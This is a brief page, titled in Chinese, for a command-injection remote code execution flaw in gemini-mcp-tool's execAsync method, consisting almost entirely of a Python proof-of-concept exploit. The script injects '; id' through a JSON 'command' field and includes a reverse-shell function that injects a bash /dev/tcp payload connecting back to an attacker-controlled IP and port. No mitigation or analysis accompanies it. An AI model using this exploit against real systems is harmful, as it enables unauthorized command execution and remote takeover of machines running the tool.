CVE-2026-0755 gemini-mcp-tool execAsync命令注入远程代码执行漏洞

import requests import json # CVE-2026-0755 PoC - Command Injection in gemini-mcp-tool execAsync # Target: gemini-mcp-tool with vulnerable execAsync method TARGET_URL = "http://target-host:8080/execAsync" def exploit(target_url): """ Execute arbitrary command via command injection vulnerability """ # Malicious payload to execute 'id' command payload = { "command": "; id", "params": {} } try: response = requests.post( target_url, json=payload, headers={"Content-Type": "application/json"}, timeout=10 ) print(f"Status: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") def reverse_shell(target_url, attacker_ip, attacker_port): """ Establish reverse shell connection attacker_ip: Attacker controlled IP attacker_port: Attacker listening port """ payload = { "command": f"| bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1", "params": {} } try: response = requests.post( target_url, json=payload, headers={"Content-Type": "application/json"}, timeout=10 ) print(f"Reverse shell payload sent to {target_url}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") if __name__ == "__main__": # Test basic command injection exploit(TARGET_URL)